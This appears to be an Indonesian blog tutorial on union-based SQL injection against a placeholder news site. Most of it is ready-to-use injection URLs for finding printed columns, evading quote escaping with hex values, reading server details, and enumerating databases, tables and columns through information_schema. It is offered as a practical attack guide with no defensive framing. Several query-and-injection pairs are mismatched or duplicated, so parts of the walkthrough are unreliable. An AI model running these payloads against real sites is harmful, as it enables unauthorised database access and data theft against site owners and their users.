Dalam tutorial terakhir kami, kami belajar bagaimana menemukan jumlah kolom yang digunakan di bawah query sehingga kami dapat menggunakan pernyataan union select. Jadi kita akan melanjutkan url yang sama dan injeksi yang sama dengan yang kita injeksikan. Dalam tutorial terakhir kami menemukan bahwa URL yang rentan memiliki 5 nomor kolom dan kueri di bawah ini berfungsi.
http://domainku.com/beritaku.php?id=23 order by 5- - +
Sekarang kita akan menggunakan pernyataan union select di sini.
http://domainku.com/beritaku.php?id=23 union select 1,2,3,4,5 - +
Di sini pemahaman kecil tentang aplikasi web diperlukan, Jika Anda melihat salah satu dari angka-angka ini dicetak di halaman web atau judul atau di mana saja maka Anda dapat mengetahui pengembang mencetak beberapa baris.
Tetapi jika Anda tidak dapat melihat angka-angka ini dicetak maka Anda dapat membatalkan permintaan pertama sehingga tidak akan memberikan output dan akhirnya output Anda akan menjadi satu-satunya output yang akan Cetak
http://domainku.com/beritaku.php?id=23 and 0 union select 1,2,3,4,5--+
http://domainku.com/beritaku.php?id=23 and false union select 1,2,3,4,5--+
http://domainku.com/beritaku.php?id=-23 union select 1,2,3,4,5--+
http://domainku.com/beritaku.php?id=23000000 union select 1,2,3,4,5--+
http://domainku.com/beritaku.php?id=null union select 1,2,3,4,5--+
http://domainku.com/beritaku.php?id=23 && 0 union select 1,2,3,4,5--+
Di atas saya telah menetapkan beberapa cara untuk membuat kueri tidak valid tetapi ingat bahwa & harus dienkodekan url sebelum digunakan. Sekarang ketika kita akan menggunakan salah satu pertanyaan di atas, satu baris akan muncul dalam output.
Setiap nomor harus dicetak di halaman web lagi sebagai hal dasar untuk dipahami adalah bahwa programmer mungkin hanya mencetak beberapa kolom tertentu dari output, katakanlah yang ketiga. Jadi kita jika kita bisa melihat 3 di halaman maka bagusnya kalau tidak kita bisa mencoba query di bawah ini dengan beberapa nilai lainnya.
http://domainku.com/beritaku.php?id=-23 union select 'hello1','hello2','hello3','hello4','hello5'--+
Sekarang coba cari di dalam kode sumber.
Jika Anda menemukan hello1 itu berarti colum pertama dicetak dan jika Anda menemukan hello2 maka kolom kedua akan dicetak dan seterusnya.
Masih beberapa kali jika programmer menggunakan mysql_real_escape_string itu dapat membuat kesalahan atau tidak ada output. Kami hanya dapat menghindari penggunaan tanda kutip tunggal menggunakan nilai heksadesimal.
Di bawah ini adalah kueri yang dienkode untuk kueri yang sama di atas.
http://domainku.com/beritaku.php?id=-23 union select 0x68656c6c6f31,0x68656c6c6f32,0x68656c6c6f33,0x68656c6c6f34,0x68656c6c6f35--+
Satu hal kecil yang perlu diingat adalah selalu tambahkan 0x sebelum nilai heksadesimal.
Semoga pertanyaan di atas harus bekerja dan Anda akan menemukan kolom yang dicetak pada halaman web atau di dalam kode sumber.
Kami akan stich dengan kolom ke-3 untuk contoh ini. Seperti yang kita tahu bahwa apa pun di tempat kolom ketiga dicetak.
Maka sekarang kita dapat mencoba beberapa fungsi dan variabel Default, untuk mendapatkan beberapa informasi terkait dengan target kita.Di bawah ini adalah beberapa Variabel / Fungsi yang dapat digunakan untuk mendapatkan informasi tentang mesin target Anda.
Variable/Function | Output | |
---|---|---|
@@hostname | : | Current Hostname |
@@tmpdir | : | Tept Directory |
@@datadir | : | Data Directory |
@@version | : | Version of DB |
@@basedir | : | Base Directory |
user() | : | Current User |
database() | : | Current Database |
version() | : | Version |
schema() | : | current Database |
UUID() | : | System UUID key |
current_user() | : | Current User |
current_user | : | Current User |
system_user() | : | Current Sustem user |
session_user() | : | Session user |
@@GLOBAL.have_symlink | : | Check if Symlink Enabled or Disabled |
@@GLOBAL.have_ssl | : | Check if it have ssl or not |
Sekarang kita akan pindah ke bagian selanjutnya, yaitu Ekstraksi Data.
To get the Current Database Name
http://domainku.com/beritaku.php?id=-23 union select 1,2,database(),4,5--+
To get the Current Version
http://domainku.com/beritaku.php?id=-23 union select 1,2,version(),4,5--+
To get the Current User
http://domainku.com/beritaku.php?id=-23 union select 1,2,user(),4,5--+
To get the Temporary Directory Path
http://domainku.com/beritaku.php?id=-23 union select 1,2,@@tmpdir,4,5--+
Ekstraksi Data menggunakan SQLi
Ada banyak cara untuk mengekstrak data menggunakan SQLi jadi yang pertama adalah union based. Pertama saya akan menunjukkan kepada Anda Pertanyaan dan kemudian menunjukkan kepada Anda bagaimana kami dapat menyuntikkannya.
Query : Select table_schema from information_schema.schemata
Injection : http://domainku.com/beritaku.php?id=-23 union select 1,2,version(),4,5--+
Akan memberi kami nama semua Databases avaiable. Tetapi seperti yang kami temukan sebelumnya, terkadang programmer tidak dapat mencetak semua baris. Dia mungkin mencetak baris pertama dari output. Jadi dalam hal ini kita dapat menggunakan kata kunci batas untuk menghitung satu baris satu demi satu.
First row
Select table_schema from information_schema.schemata limit 0,1--+
Second row
Select table_schema from information_schema.schemata limit 1,1--+
Third row
Select table_schema from information_schema.schemata limit 2,1--+
Forth row
Select table_schema from information_schema.schemata limit 3,1--+
Dengan cara di atas kita bisa mendapatkan setiap baris satu per satu. Sekarang mari kita lihat bagaimana kita bisa mengekstrak semua nama tabel dari database.
Query : Select column_name from information_schema.columns where table_schema=database() and table_name='tablenamehere'
Injection : http://domainku.com/beritaku.php?id=-23 union Select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name='tablenamehere'--+
Suntikan di atas akan memberi Anda semua baris sekaligus, tetapi jika Anda ingin satu per satu maka Anda dapat menggunakan batas.
First row
http://domainku.com/beritaku.php?id=-23 union select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name='tablename' limit 0,1--+
Second row
http://domainku.com/beritaku.php?id=-23 union select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name='tablename' limit 1,1--+
Third row
http://domainku.com/beritaku.php?id=-23 union select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name='tablename' limit 2,1--+
Forth row
http://domainku.com/beritaku.php?id=-23 union select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name='tablename' limit 3,1--+
Setelah mendapatkan Nama Tabel, kita dapat melanjutkan dan mulai mengumpulkan nama Kolom di bawah tabel apa pun.kita dapat menentukan nama tabel karena kita memiliki semua tablenames.
Query : Select column_name from information_schema.columns where table_schema=database() and table_name='tablenamehere'
Injection : http://domainku.com/beritaku.php?id=-23 union Select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name='tablenamehere'--+
Jika pertanyaan di atas tidak memberikan output atau kesalahan. Anda dapat mencoba meng-hex tablename. Dan sekarang kita dapat mencoba untuk mendapatkan semua nama tabel satu per satu jika hanya satu baris yang dicetak.
Query : Select column_name from information_schema.columns where table_schema=database() and table_name='tablenamehere'
Injection : http://domainku.com/beritaku.php?id=-23 union Select 1,2,column_name,4,5 from information_schema.columns where table_schema=database() and table_name='tablenamehere'--+
Sekarang kita tahu nama database, nama tabel dan nama kolom sehingga tahap terakhir mulai mengekstraksi data dari kolom. Sekarang kita harus menentukan dari kolom mana kita menginginkan data dan dari tabel mana.
Itu semua untuk Basic Union Based Injection.
Semoga bermanfaat...